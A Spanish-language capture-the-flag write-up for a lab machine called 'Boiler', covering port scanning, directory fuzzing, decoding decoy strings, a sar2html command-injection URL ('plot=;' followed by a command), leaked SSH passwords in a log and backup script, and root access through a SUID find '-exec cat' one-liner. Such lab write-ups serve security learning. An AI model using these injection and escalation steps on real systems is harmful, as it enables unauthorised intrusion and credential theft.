

Boiler - M

Empezamos con reconocimiento:

```
sudo nmap -p- --min-rate 5000 10.10.128.3 -sC -sS -Pn -vvv
```

Resultados:

```
PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 63
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:10.9.0.190
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http         syn-ack ttl 63
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 1 disallowed entry
|_/
10000/tcp open  snet-sensor-mgmt syn-ack ttl 63
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on
Vulnerable/emailAddress=root@Vulnerable
| Issuer: commonName=*/organizationName=Webmin Webserver on
Vulnerable/emailAddress=root@Vulnerable
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-08-22T09:22:57
| Not valid after: 2024-08-20T09:22:57
| MD5: e634:9372:afad:202e:425b:99e9:a82a:0246
```

```
| SHA-1: 8f4b:087d:2b2e:82a4:00eb:21b0:54bf:cbcb:45fa:9bed
| -----BEGIN CERTIFICATE-----
| MIIDfTCCAmWgAwIBAgIJANQ8ygk0L19XMA0GCSqGSIb3DQEBCwUAMFUxJzAlBgNV
| BAoMHldlYm1pbiBXZWJzZXJ2ZXIgb24gVnVsbmVyYWJsZTEKMAgGA1UEAwwBKjEe
| MBwGCSqGSIb3DQEJARYPcm9vdEBWdWxuZXJhYmxlMB4XDTE5MDgyMjA5MjI1N1oX
| DTI0MDgyMDA5MjI1N1owVTEuMCUGA1UECgweV2VibWluIFdlYnNlcnZlciBvbiBW
| dWxuZXJhYmxlMQowCAYDVQQDDAEqMR4wHAYJKoZIhvcNAQkBFg9yb290QFZ1bG5l
| cmFibGUwgGsiEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIP5YCzCra4KPi
| mVOqeKsswFL4H5g/lwLhiGYNOBQPDGPBjnGuksUCcgMSZfdNdiZsQSlpIH0pjUJN
| t7Rb7b3CF38104neAxXShJo7/bXYrZuSPnX/Vls5FY6ay9LC75++i2A4wVqpjr6a
| LDs6sCGj5zegpg0AQ0Tzce2DCzFWG2/2dpHKakiswLMK7iXW8/XLD0i6GCxyLn0j
| sr4A4/vTnEG9yCb2l8ffUwsvvi6PCJyH+GFr5DWHadmHT+CXoCTYuCrdbSL7GuZr
| CDBAotndXhf0meqidgdwRroxehAarIRRoop+lfXjJT9fNLTVAEC3aE9KwydhvYLV
| 7Rf7ZwCfAgMBAAGjUDBOMB0GA1UdDgQWBBTUyXnSdzbBIHr+k1LrGNc8ZnSnVjAf
| BgNVHSMEGDAWgBTUyXnSdzbBIHr+k1LrGNc8ZnSnVjAMBgNVHRMEBTADAQH/MA0G
| CSqGSIb3DQEBCwUAA4IBAQBW0y4yo7kYKMFahofmwwk3b3MeyayP4UqAsvHInXP
| eGpAi1DKktVZak/zmMpH68eRLeoAEjNGIzDj0swy3MJdltt/LV9R9VecA5zUlk5n
| 6FL8TMiEF4W4g0GcRZTeFGC1jyLX0/bG40Muw7ulzRX1Wuz2Tf1/9Kuspx4qQgi
| eFELdmdKEVCnZ2xjzZ9rPxTpbf3GnpTsM5r7VJeAHQKfkV56ci7WRI24R3v5V1R
| OQ/E6Jo9YoYmrEyMeN414pJC/Es0cQPxJ/od+3IZ3Mb2hxCG4BCohzgy/t3KdF7F
| 6BrEixUECK79t/sqe+TFDsMNCeMD0tLRUCRNJJaz3fcA
| _-----END CERTIFICATE-----
55007/tcp open unknown syn-ack ttl 63
```

Vemos que hay un anonymous login en el ftp, por lo que, entraremos para conseguir la primera respuesta:

```
$ ftp 10.10.128.3
$ ls -la
-rw-r--r-- 1 ftp ftp 74 Aug 21 2019 .info.txt
$ get .info.txt
$ cat .info.txt
Whfg jnagrq gb frf vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
```

Para la segunda respuesta tendremos que hacer un escaneo detallado para el puerto 55007:

```
nmap -p 55007 --min-rate 5000 10.10.128.3 -A
```

Resultados:

```
PORT      STATE SERVICE VERSION
55007/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
```

```
| 2048 e3:ab:e1:39:2d:95:eb:13:55:16:d6:ce:8d:f9:11:e5 (RSA)
| 256 ae:de:f2:bb:b7:8a:00:70:20:74:56:76:25:c0:df:38 (ECDSA)
|_ 256 25:25:83:f2:a7:75:8a:a0:46:b2:12:70:04:68:5c:cb (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Con información anterior podemos contestar las primeras 4 preguntas.

Para la quinta, vamos a utilizar gobuster para ver los directorios y determinar el cms.

```
gobuster dir -u http://10.10.128.3 -w /usr/share/wordlists/dirb/common.txt
```

Resultados:

```
/.hta (Status: 403) [Size: 290]
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/index.html (Status: 200) [Size: 11321]
/joomla (Status: 301) [Size: 311] [-->
http://10.10.128.3/joomla/]
/manual (Status: 301) [Size: 311] [-->
http://10.10.128.3/manual/]
/robots.txt (Status: 200) [Size: 257]
/server-status (Status: 403) [Size: 299]
```

Para la última pregunta indagaremos en /robots.txt, donde suele haber información sensible.

Encontré este texto de alguna forma encodeado:

```
079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086
104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084
069 049 079 068 081 075
```

Vamos a CyberCheff para decodificar el texto.

Primero decodifico a ASCII -> OTliMDY2MGNkOTVhZGVhMzl3YzU0MTgyYmFhNTE1ODQK

Ahora a base 64 -> 99b0660cd95adea327c54182baa51584

Analizamos el hash:

```
hashid 99b0660cd95adea327c54182baa51584
```

Nos da varias opciones, pero las más convincentes son las de MD2 y MD5.

Después de crackearlo nos da: **kidding**

Es decir, esto no sirvió de nada :)

Ahora procedo a buscar en /joomla, en donde veo que hay más directorios nomas entrar, por lo que, haré fuzzing para ver que más puedo encontrar

Encontré estos directorios:

```
/.hta (Status: 403) [Size: 297]
/.htaccess (Status: 403) [Size: 302]
/.htpasswd (Status: 403) [Size: 302]
/_archive (Status: 301) [Size: 320] [-->
http://10.10.128.3/joomla/_archive/]
/_database (Status: 301) [Size: 321] [-->
http://10.10.128.3/joomla/_database/]
/_files (Status: 301) [Size: 318] [-->
http://10.10.128.3/joomla/_files/]
/_test (Status: 301) [Size: 317] [-->
http://10.10.128.3/joomla/_test/]
/~www (Status: 301) [Size: 316] [-->
http://10.10.128.3/joomla/~www/]
/administrator (Status: 301) [Size: 325] [-->
http://10.10.128.3/joomla/administrator/]
/bin (Status: 301) [Size: 315] [-->
http://10.10.128.3/joomla/bin/]
/build (Status: 301) [Size: 317] [-->
http://10.10.128.3/joomla/build/]
/cache (Status: 301) [Size: 317] [-->
http://10.10.128.3/joomla/cache/]
/components (Status: 301) [Size: 322] [-->
http://10.10.128.3/joomla/components/]
/images (Status: 301) [Size: 318] [-->
http://10.10.128.3/joomla/images/]
/includes (Status: 301) [Size: 320] [-->
http://10.10.128.3/joomla/includes/]
/index.php (Status: 200) [Size: 12476]
/installation (Status: 301) [Size: 324] [-->
http://10.10.128.3/joomla/installation/]
/language (Status: 301) [Size: 320] [-->
http://10.10.128.3/joomla/language/]
/layouts (Status: 301) [Size: 319] [-->
http://10.10.128.3/joomla/layouts/]
/libraries (Status: 301) [Size: 321] [-->
http://10.10.128.3/joomla/libraries/]
/media (Status: 301) [Size: 317] [-->
http://10.10.128.3/joomla/media/]
```

```
/modules          (Status: 301) [Size: 319] [-->
http://10.10.128.3/joomla/modules/]
/plugins          (Status: 301) [Size: 319] [-->
http://10.10.128.3/joomla/plugins/]
/templates        (Status: 301) [Size: 321] [-->
http://10.10.128.3/joomla/templates/]
/tests            (Status: 301) [Size: 317] [-->
http://10.10.128.3/joomla/tests/]
/tmp              (Status: 301) [Size: 315] [-->
http://10.10.128.3/joomla/tmp/]
```

Entremos a /database, donde encontré esta cadena de texto: Lwuv oguukpi ctqwpf.

Primero entré a cybercheff para utilizar rot y descifrar el mensaje, pero no lo conseguí, por lo que, cree que un script para descifrarlo:

```
text = "Lwuv oguukpi ctqwpf"
for shift in range(1, 26):
    decoded = ''.join(chr((ord(c) - shift - 65) % 26 + 65) if c.isupper()
                       else chr((ord(c) - shift - 97) % 26 + 97) if c.islower()
                       else c for c in text)
    print(f"Shift {shift}: {decoded}")
```

Resultados:

```
Shift 1: Kvtu nfttjoh bspvoe
Shift 2: Just messing around
Shift 3: Itrs ldrhmf zqntmc
Shift 4: Hsqr kcqqgle ypmslb
Shift 5: Grpq jbppfkd xolrka
Shift 6: Fqop iaooejc wnkqjz
Shift 7: Epno hznndib vmjpiy
Shift 8: Domn gymmcha uliohx
Shift 9: Cnlm fxllbgz tkhngw
Shift 10: Bmkl ewkkafy sjgmfv
Shift 11: Aljk dvjjzex rifleu
Shift 12: Zkij cuiiydw qhekdt
Shift 13: Yjhi bthhxcv pgdjcs
Shift 14: Xigh asggwbu ofcibr
Shift 15: Whfg zrffvat nebhaq
Shift 16: Vgef yqeeuzs mdagzp
Shift 17: Ufde xpddtyr lczfyo
Shift 18: Tecd woccsxq kbyexn
Shift 19: Sdbc vnbbwrp jaxdwm
```

```
Shift 20: Rcab umaaqvo izwcvl
Shift 21: Qbza tlzzpun hyvbuk
Shift 22: Payz skyyotm gxuatj
Shift 23: Ozxy rjxxnsl fwtzsi
Shift 24: Nywx qiwwmrk evsyrh
Shift 25: Mxvw phvvlqj durxqg
```

Y desde la segunda iteración vemos que otra vez no hay nada. Sigamos buscando.

Proseguí a buscar en /test, donde vemos que puede estar utilizando esta herramienta: sar2ascii

Que después de una búsqueda encontré el este exploit:

```
http://<ipaddr>/index.php?plot=;<command-here> will execute
```

Que se vería así:

```
http://10.10.128.3/joomla/_test/index.php?plot=;ls
```

Encontramos el siguiente archivo:

sar2html
(Donate if you like!)

New ;ls

Select Host

- Select Host
- HPUX
- Linux
- SunOS
- index.php
- log.txt
- sar2html
- sarFILE

COLLECTING SAR DATA

1. Use sar2ascii to generate a report:

- Download following tool to collect sar data from servers: [sar2ascii.tar](#).
- Untar it on the server which you will examine performance data.
- For HPUX servers run "sh sar2ascii".
- For Linux or Sun Solaris servers run "bash sar2ascii".
- It will create the report with name sar2html-hostname-date.tar.gz under /tmp directory.
- Click "NEW" button, browse and select the report, click "Upload report" button to upload the data.
- Or simply type "sar2html -m {sar2html report}" at command prompt.

2. Use built in report generator:

- Click "NEW" button, enter ip address of host, user name and password and click "Capture report" button.
- Or simply type "sar2html -a [host ip] [user name] [password]" at command prompt.

NOTE: If sar data is not available even it is installed you need to add following lines to crontab:

HP-UX:

```
0,10,20,30,40,50 **** /usr/sbin/sa/sa1
5 18 *** /usr/sbin/sa/sa2 -A
```

Hagamos un cat desde la URL:

```
http://10.10.128.3/joomla/_test/index.php?plot=;cat%20log.txt
```

Resultado:

```
Select Host
HPUX
Linux
SunOS
Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.
```

En donde vemos una sesión de ssh válida:

```
basterd:superduperp@$
```

Entremos al SSH:

```
ssh basterd@10.10.128.3 -p 55007
```

Entramos sin problemas, después de haber buscado encontré un backup.sh

```
REMOTE=1.2.3.4

SOURCE=/home/stoner
TARGET=/usr/local/backup

LOG=/home/stoner/bck.log

DATE=`date +%y\.%m\.%d\.`

USER=stoner
#superduperp@$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE" ]; then
    for i in `ls $SOURCE | grep 'data'`;do
        echo "Begining copy of" $i >> $LOG
        scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
        echo $i "completed" >> $LOG
    done
fi

if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null`
```

```

];then
    rm $SOURCE/$i
    echo $i "removed" >> $LOG
    echo "#####" >> $LOG
    else
        echo "Copy not complete" >> $LOG
        exit 0
    fi
done

else

    echo "Directory is not present" >> $LOG
    exit 0
fi

```

Por lo que, tenemos otro usuario

```

stoner:superduperp@$no1knows

```

Como no encontré nada más pasé directamente al usuario stoner:

Encontré un archivo llamado .secret el cual contenía lo siguiente flag:

```

stoner@Vulnerable:~$ cat .secret

```

Voy a proceder a escalar privilegios:

```

find / -type f -perm -4000 2>/dev/null

/bin/su
/bin/fusermount
/bin/umount
/bin/mount
/bin/ping6
/bin/ping
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/apache2/suexec-custom
/usr/lib/apache2/suexec-pristine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmccrypt-get-device
/usr/bin/newgidmap
/usr/bin/find

```



```
/usr/bin/at  
/usr/bin/chsh  
/usr/bin/chfn  
/usr/bin/passwd  
/usr/bin/newgrp  
/usr/bin/sudo  
/usr/bin/pkexec  
/usr/bin/gpasswd  
/usr/bin/newuidmap
```

Nos aprovecharemos de /usr/bin/find de la siguiente manera:

```
/usr/bin/find /root -name "root.txt" -exec cat {} \;
```

Lo que hace el comando básicamente es un cat desde el bin que escogimos que tiene privilegios de root.